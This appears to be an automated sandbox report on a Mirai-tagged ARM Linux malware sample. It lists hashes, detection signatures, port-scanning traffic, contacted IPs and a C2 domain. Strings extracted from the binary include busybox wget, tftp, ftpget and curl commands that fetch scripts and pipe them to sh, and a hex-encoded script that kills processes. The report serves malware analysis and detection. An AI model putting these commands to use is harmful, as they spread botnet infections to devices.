Linux Analysis Report
z9QVrRPbJc.elf

Overview

General Information

Sample name: z9QVrRPbJc.elf
renamed because original name is a hash value
Original sample name: 6085498625b1c8aff7da9d149658ccad.elf
Analysis ID: 1432515
MD5: 6085498625b1c8aff7da9d149658ccad
SHA1: 79c6145af9b3aba286c5cf71b2a3e4566686ff34
SHA256: ccd8886dfeb23dda0e7ac1b60815457e3d32104e61033b1e3a21ab0c8526cc7a
Tags: 32armelfmirai
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: z9QVrRPbJc.elf Virustotal: Detection: 34% Perma Link
Source: z9QVrRPbJc.elf ReversingLabs: Detection: 57%
Found strings indicative of a multi-platform dropper
Source: z9QVrRPbJc.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 204.76.203.63 ports 38241,1,2,3,4,8
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 45736
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:53256 -> 204.76.203.63:38241
Sample listens on a socket
Source: /tmp/z9QVrRPbJc.elf (PID: 6264) Socket: 127.0.0.1::39148 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:39256 -> 34.249.145.219:443
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown TCP traffic detected without corresponding DNS query: 182.73.189.2
Source: unknown TCP traffic detected without corresponding DNS query: 37.211.20.82
Source: unknown TCP traffic detected without corresponding DNS query: 130.236.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 189.209.129.231
Source: unknown TCP traffic detected without corresponding DNS query: 11.72.13.187
Source: unknown TCP traffic detected without corresponding DNS query: 62.108.22.150
Source: unknown TCP traffic detected without corresponding DNS query: 185.165.0.200
Source: unknown TCP traffic detected without corresponding DNS query: 184.205.251.2
Source: unknown TCP traffic detected without corresponding DNS query: 221.93.163.192
Source: unknown TCP traffic detected without corresponding DNS query: 152.244.54.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.141.159.180
Source: unknown TCP traffic detected without corresponding DNS query: 177.148.108.12
Source: unknown TCP traffic detected without corresponding DNS query: 169.200.73.66
Source: unknown TCP traffic detected without corresponding DNS query: 170.203.91.123
Source: unknown TCP traffic detected without corresponding DNS query: 32.33.22.175
Source: unknown TCP traffic detected without corresponding DNS query: 170.122.60.171
Source: unknown TCP traffic detected without corresponding DNS query: 201.40.145.90
Source: unknown TCP traffic detected without corresponding DNS query: 66.106.57.87
Source: unknown TCP traffic detected without corresponding DNS query: 182.31.208.162
Source: unknown TCP traffic detected without corresponding DNS query: 79.121.202.177
Source: unknown TCP traffic detected without corresponding DNS query: 217.70.189.154
Source: unknown TCP traffic detected without corresponding DNS query: 64.233.178.131
Source: unknown TCP traffic detected without corresponding DNS query: 144.96.83.47
Source: unknown TCP traffic detected without corresponding DNS query: 219.152.177.248
Source: unknown TCP traffic detected without corresponding DNS query: 92.39.249.156
Source: unknown TCP traffic detected without corresponding DNS query: 128.236.80.146
Source: unknown TCP traffic detected without corresponding DNS query: 119.122.245.73
Source: unknown TCP traffic detected without corresponding DNS query: 143.165.232.68
Source: unknown TCP traffic detected without corresponding DNS query: 125.158.146.28
Source: unknown TCP traffic detected without corresponding DNS query: 163.143.220.158
Source: unknown TCP traffic detected without corresponding DNS query: 60.196.93.108
Source: unknown TCP traffic detected without corresponding DNS query: 99.46.20.102
Source: unknown TCP traffic detected without corresponding DNS query: 16.5.246.228
Source: unknown TCP traffic detected without corresponding DNS query: 5.152.87.87
Source: unknown TCP traffic detected without corresponding DNS query: 151.6.163.107
Source: unknown TCP traffic detected without corresponding DNS query: 217.188.152.244
Source: unknown TCP traffic detected without corresponding DNS query: 101.207.215.17
Source: unknown TCP traffic detected without corresponding DNS query: 19.220.193.163
Source: unknown TCP traffic detected without corresponding DNS query: 11.82.14.137
Source: unknown TCP traffic detected without corresponding DNS query: 96.90.231.231
Source: unknown TCP traffic detected without corresponding DNS query: 97.82.250.108
Source: unknown TCP traffic detected without corresponding DNS query: 82.48.186.78
Source: unknown TCP traffic detected without corresponding DNS query: 160.168.71.75
Source: unknown TCP traffic detected without corresponding DNS query: 64.236.148.252
Source: unknown TCP traffic detected without corresponding DNS query: 197.101.82.183
Source: unknown TCP traffic detected without corresponding DNS query: 134.171.97.8
Source: unknown TCP traffic detected without corresponding DNS query: 104.186.163.117
Source: unknown TCP traffic detected without corresponding DNS query: 137.22.195.70
Source: unknown TCP traffic detected without corresponding DNS query: 39.5.65.47
Source: global traffic DNS traffic detected: DNS query: w3d0ntlikebot5.parody
Source: z9QVrRPbJc.elf String found in binary or memory: http:///curl.sh
Source: z9QVrRPbJc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 39256 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4H
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/334@1/0
Enumerates processes within the "proc" file system
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6296/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6296/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6296/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6296/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6295/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6295/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6298/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6298/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6298/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6298/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6331/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6331/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6331/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6331/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6297/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6297/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6297/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6297/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6330/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6330/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6330/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6330/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6352/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6352/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6333/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6333/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6333/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6333/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6299/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6299/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6299/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6299/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6332/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6332/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6332/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6332/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6335/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6335/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6335/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6335/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6334/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6334/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6334/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6334/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6290/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6290/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6292/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6292/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6291/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6291/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6294/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6294/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6293/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6293/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6326/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6326/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6325/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6325/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6328/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6328/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6328/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6328/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6327/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6327/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6329/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6329/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6329/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6329/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6285/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6285/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6340/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6340/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6340/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6340/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6287/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6287/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6286/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6286/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6289/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6289/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6300/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6300/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6300/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6300/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6322/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6322/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6288/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6288/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6321/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6321/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6324/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6324/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6301/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6301/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6301/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6301/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6323/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6323/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6337/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6337/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6337/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6337/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6336/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6336/cmdline Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6336/maps Jump to behavior
Source: /tmp/z9QVrRPbJc.elf (PID: 6270) File opened: /proc/6336/cmdline Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6319) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.9JXniEu21K /tmp/tmp.ZbIOZ1koCh /tmp/tmp.wLWtpS9ZzA Jump to behavior
Source: /usr/bin/dash (PID: 6320) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.9JXniEu21K /tmp/tmp.ZbIOZ1koCh /tmp/tmp.wLWtpS9ZzA Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 45736
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/z9QVrRPbJc.elf (PID: 6264) Queries kernel information via 'uname': Jump to behavior
Source: z9QVrRPbJc.elf, 6264.1.00007ffd2476b000.00007ffd2478c000.rw-.sdmp, z9QVrRPbJc.elf, 6268.1.00007ffd2476b000.00007ffd2478c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/z9QVrRPbJc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/z9QVrRPbJc.elf
Source: z9QVrRPbJc.elf, 6264.1.000055920b8f1000.000055920ba1f000.rw-.sdmp, z9QVrRPbJc.elf, 6268.1.000055920b8f1000.000055920ba1f000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: z9QVrRPbJc.elf, 6264.1.000055920b8f1000.000055920ba1f000.rw-.sdmp, z9QVrRPbJc.elf, 6268.1.000055920b8f1000.000055920ba1f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: z9QVrRPbJc.elf, 6264.1.00007ffd2476b000.00007ffd2478c000.rw-.sdmp, z9QVrRPbJc.elf, 6268.1.00007ffd2476b000.00007ffd2478c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.129.193.71
 unknown France
5410 BOUYGTEL-ISPFR false
51.59.117.107
 unknown United Kingdom
2686 ATGS-MMD-ASUS false
59.126.64.107
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
209.70.9.126
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
180.224.40.14
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
86.193.122.11
 unknown France
3215 FranceTelecom-OrangeFR false
154.32.26.101
 unknown United Kingdom
1290 TELSTRAEUROPELTD-BACKBONETelstraEuropeLtdEU false
31.167.116.227
 unknown Saudi Arabia
35819 MOBILY-ASEtihadEtisalatCompanyMobilySA false
41.146.79.204
 unknown South Africa
5713 SAIX-NETZA false
93.77.148.251
 unknown Ukraine
25229 VOLIA-ASUA false
114.239.182.35
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
160.63.74.170
 unknown Switzerland
25031 NOVARTIS-CH false
221.56.42.195
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
174.245.158.129
 unknown United States
22394 CELLCOUS false
73.43.71.96
 unknown United States
7922 COMCAST-7922US false
85.25.113.149
 unknown Germany
8972 GD-EMEA-DC-SXB1DE false
141.24.141.112
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
197.79.66.23
 unknown South Africa
16637 MTNNS-ASZA false
32.120.192.197
 unknown United States
7018 ATT-INTERNET4US false
25.60.165.19
 unknown United Kingdom
7922 COMCAST-7922US false
7.220.80.31
 unknown United States
3356 LEVEL3US false
98.105.29.88
 unknown United States
6167 CELLCO-PARTUS false
90.93.76.144
 unknown France
3215 FranceTelecom-OrangeFR false
145.47.246.231
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
82.117.77.138
 unknown Russian Federation
25549 AVANTEL-ASRU false
83.158.215.152
 unknown France
12322 PROXADFR false
223.15.143.136
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
139.114.130.109
 unknown Norway
5619 EVRY-NO false
35.92.214.183
 unknown United States
237 MERIT-AS-14US false
154.153.241.78
 unknown Kenya
36926 CKL1-ASNKE false
188.47.148.95
 unknown Poland
5617 TPNETPL false
138.196.216.87
 unknown United States
21727 HAMLINE-EDUUS false
158.216.128.64
 unknown Switzerland
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
95.31.213.2
 unknown Russian Federation
8402 CORBINA-ASOJSCVimpelcomRU false
95.223.63.141
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
131.161.116.171
 unknown Brazil
264382 RctelSolucoesemTelecomBR false
123.16.80.71
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
108.224.202.239
 unknown United States
7018 ATT-INTERNET4US false
162.234.226.87
 unknown United States
7018 ATT-INTERNET4US false
214.105.169.195
 unknown United States
721 DNIC-ASBLK-00721-00726US false
108.76.104.114
 unknown United States
7018 ATT-INTERNET4US false
78.14.220.138
 unknown Italy
8612 TISCALI-IT false
118.17.245.170
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
178.129.37.195
 unknown Russian Federation
28812 JSCBIS-ASRU false
64.236.148.252
 unknown United States
7029 WINDSTREAMUS false
49.247.189.71
 unknown Korea Republic of
38700 SMILESERV-AS-KRSMILESERVKR false
208.219.86.228
 unknown United States
701 UUNETUS false
80.104.28.152
 unknown Italy
3269 ASN-IBSNAZIT false
163.153.138.252
 unknown United States
22693 NERICUS false
106.247.168.62
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
189.28.214.119
 unknown Brazil
28288 SSTVSistemaSuldeTelevisaoLtdaBR false
189.186.43.159
 unknown Mexico
8151 UninetSAdeCVMX false
24.74.202.189
 unknown United States
11426 TWC-11426-CAROLINASUS false
15.210.207.16
 unknown United States
33383 HPESUS false
210.61.206.22
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
180.188.210.90
 unknown Japan 9374 EDIONEDIONCorporationJP false
211.136.251.222
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
84.232.192.21
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO false
77.50.115.30
 unknown Russian Federation
34602 STARLINK-ASMoscowRussiaRU false
193.143.189.129
 unknown Finland
42582 APKTMN-ASTyumenRussiaRU false
99.23.87.111
 unknown United States
7018 ATT-INTERNET4US false
137.178.169.140
 unknown United States
11003 PANDGUS false
103.140.102.40
 unknown Australia
139253 FOITGROUP-AS-APFOITGroupPTYLTDAU false
29.225.41.223
 unknown United States
7922 COMCAST-7922US false
8.250.186.197
 unknown United States
3356 LEVEL3US false
136.93.58.2
 unknown United States
60311 ONEFMCH false
208.250.98.113
 unknown United States
4208 THE-ISERV-COMPANYUS false
38.124.37.45
 unknown United States
174 COGENT-174US false
89.198.29.60
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
17.139.164.169
 unknown United States
714 APPLE-ENGINEERINGUS false
47.34.18.1
 unknown United States
20115 CHARTER-20115US false
79.27.247.212
 unknown Italy
3269 ASN-IBSNAZIT false
118.48.247.174
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
19.236.118.48
 unknown United States
3 MIT-GATEWAYSUS false
40.248.184.222
 unknown United States
4249 LILLY-ASUS false
115.25.128.100
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
133.142.62.94
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
146.150.227.224
 unknown United States
15169 GOOGLEUS false
109.194.139.38
 unknown Russian Federation
41754 ERTH-PENZA-ASRU false
14.33.95.123
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
221.26.78.131
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
65.35.251.129
 unknown United States
33363 BHN-33363US false
171.200.175.96
 unknown United States
10794 BANKAMERICAUS false
83.54.6.171
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
62.98.79.46
 unknown Italy
1267 ASN-WINDTREIUNETEU false
98.80.3.240
 unknown United States
11351 TWC-11351-NORTHEASTUS false
78.45.214.91
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
55.0.74.176
 unknown United States
721 DNIC-ASBLK-00721-00726US false
95.153.129.134
 unknown Russian Federation
29497 KUBANGSMRU false
76.138.194.125
 unknown United States
7922 COMCAST-7922US false
140.38.243.191
 unknown United States
668 DNIC-AS-00668US false
39.21.247.40
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
9.129.136.101
 unknown United States
3356 LEVEL3US false
166.91.30.39
 unknown United States
33084 DC-NETUS false
45.249.214.29
 unknown China
134772 CHINANET-GUANGDONG-DONGGUAN-MANCHINANETGuangdongprovince false
20.170.152.202
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
46.79.129.232
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
47.68.214.250
 unknown United States
3209 VODANETInternationalIP-BackboneofVodafoneDE false
8.183.54.43
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
90.149.233.254
 unknown Norway
2527 SO-NETSo-netEntertainmentCorporationJP false

Contacted Domains

Name IP Active
w3d0ntlikebot5.parody 86.104.194.178 true